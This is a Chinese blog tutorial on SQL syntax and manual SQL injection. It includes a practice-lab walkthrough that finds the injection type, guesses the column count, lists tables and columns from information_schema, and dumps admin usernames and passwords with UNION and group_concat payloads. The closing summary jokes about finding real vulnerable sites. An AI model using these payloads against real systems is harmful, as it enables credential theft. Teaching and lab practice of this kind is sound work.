SQL查询语句&注入实战(手注)

Posted HUTEROX

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL查询语句&注入实战(手注)相关的知识,希望对你有一定的参考价值。

前言

说个笑话,全世界都能被注入,就是注入不了你的心。
在这里插入图片描述
(潜台词,你不属于全世界的集合,假设你属于人类集合,人类属于世界集合,你不属于世界集合,所以你不属于人类集合,所以得出结论:你不是人!!!)

条件查询

先来看看环境下的表
在这里插入图片描述
怎么个条件查询法,其实就是加个where 语句
下面举个例子。
在这里插入图片描述
假设现在提取出小明

select * from hello where id=1;
或者
select * from hello where name="小明";
或者
select * from hello where name="小明" or id = 1;
或者
select * from hello where id=1 and age=15;

在这里插入图片描述

查询顺序

order by
在sql里面默认是降序desc,从小到大依次向下排序。
默认顺序。

select * from hello;
#select * from hello order by desc;

但是重点不是这个。
是这个

select * from hello order by 1;
select * from hello order by 3;

仔细看下面两个结果
在这里插入图片描述
你会发现这个和

select * from hello order by id;
select * from hello order by age;

是等价的。
那么这个具体有什么用呢,当然不仅仅只是为了排序,其实还是在注入的时候看看有几个字段。
举个例子
在这里插入图片描述

Limit限制结果

在这里插入图片描述
limit x,y
x指从哪里开始(从0开始算) y是指从x开始取多少个。
例如 limit 0,2
则取到了
第一个,第二个
以此类推
例如 limit 1,2
则取到了
第二个,第三个

联合查询

先举个例子
提取名字和年龄,使用联合查询。

select name from hello union select age from hello;

在这里插入图片描述
这个就是将两个不同的结果合在一起。
下面注意两点:
第一那个联合部分的查询可以是不同的两个表。
第二那就是联合查询的两个结果必须列相同。
举个例子:

在这里插入图片描述
下面再注意一个结果
在这里插入图片描述

显错位

这个,首先我们得知道那个查询语句前半段返回的字段数。有啥用是吧,看下面那个后有关例子。
怎么个玩法,看结果示例就好了。
在这里插入图片描述

SQL内置函数

查看数据库名

select database();

在这里插入图片描述
查看用户
在这里插入图片描述
查看版本
在这里插入图片描述
回接上小结
在这里插入图片描述

自带数据库和表

这个是自带的,主要是存放一些表,数据库,用户信息的。这个很重要,基本上搞渗透注入的都是这个切入点,获取到数据库的用户和密码。
在这里插入图片描述
比如这个表的相关
在这里插入图片描述
下面是个例子:

在这里插入图片描述

mycli辅助命令

这个是个好东西,用python写的,作用就是有命令提示,让你操作更加方便。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Sql注入类型

这个分为两种,一种是整形注入,一种是字符注入。
这两个玩意有什么区别,或者说为什么分为这个两种,其实还是因为查询语句的问题。
一个url网址里面,一个很典型的就是“?id=内容"之类的这个后面的id=1结合到后台的数据交互会生成一个查询语句,举个例子:

https://hello.com?id=5假设这个是页面切换的网址
那么对应的sql查询语句可能就是
select html_view from html_views where id = 5 这个就是整形
或者
select html_view from html_views where id = '5'这个就是字符

在这里插入图片描述
现在我们试一下
1+1
在这里插入图片描述
显然,这玩意把那个当字符处理了,按道理,如果是整形的话1+1 是2 那么会返回这个页面
在这里插入图片描述
现在试试,把所有的那个数据拿到手,进行注入,这个是低级的所以没有过滤,直接注入。
在这里插入图片描述
这里相当于组成了这样一种语句

select * from table where id='' or 1=1#';

那个只是相当于。此外,这个不是盲注,有明显的提示,是一个比较基础的靶场。看着乐就好了。这个例子主要是介绍注入类型。

实战靶场

要不是我菜,要不是那啥,正紧人谁去靶场呀。
这个是一个经典例题
我们搞到他的管理员密码
在这里插入图片描述

判断类型是否存在注入点,类型

其实直接说就是那个id注入点,但是是什么类型这个得看看是吧。
要是字符注入还得加个#号是吧。

在这里插入图片描述
在这里插入图片描述

看看他有几个字段

这个就是靠运气取猜测
3不行
在这里插入图片描述
猜出两个
在这里插入图片描述

数据库查询

怎么个玩法呢,看这个
在这里插入图片描述
所以,获取,数据库去
在这里插入图片描述

获取表名字

这个其实就是看看而已,我这里说明白一点。
还记得先前的那条指令吗

union select table_name from information_schema.tables where table_schema='huterox';

改一下
先介绍一个group_concat()函数
这个其实是查看当前字段下有哪些值
在这里插入图片描述
在这里插入图片描述

union select table_name from information_schema.tables where table_schema='maoshe';

我们查询到当前表,也就是存放maoshe的表的字段名字,我们还要获取里面的值,这样才知道这个里面有那些表。
所以加个工

union select group_concat(table_name) from information_schema.tables where table_schema='maoshe'

在这里插入图片描述

爆字段名

盲猜一波就是admin了,里面有我想要的。
我们搞一下admin用户里面有啥。

union select 1,group_concat(column_name) from information_schema.columns where table_name='admin'#

在这里插入图片描述

获取密码,查看password字段值

union select 1,group_concat(username,":",password) from maoshe.admin

在这里插入图片描述

总结

1.猜出有几个字段
2.知道了几个字段之后利用联合查询的进行搞事情
3.知道sql的一些内置的数据库,比如表放在哪里之类的。
4.运气好,搞到一个有漏洞的网站,除了靶场。
重点
知道数据库有哪些
猜测用户表在是哪一个
猜测用户表里面的字段有哪些
提取字段值

以上是关于SQL查询语句&注入实战(手注)的主要内容,如果未能解决你的问题,请参考以下文章

SQL注入 手注与联合注入

(宽字节注入) 手注+sqlmap

一个SQL注入可视化技巧

一次对真实网站的SQL注入———SQLmap使用

SQL注入实战-MySQL

SQL注入—— sql手动注入实操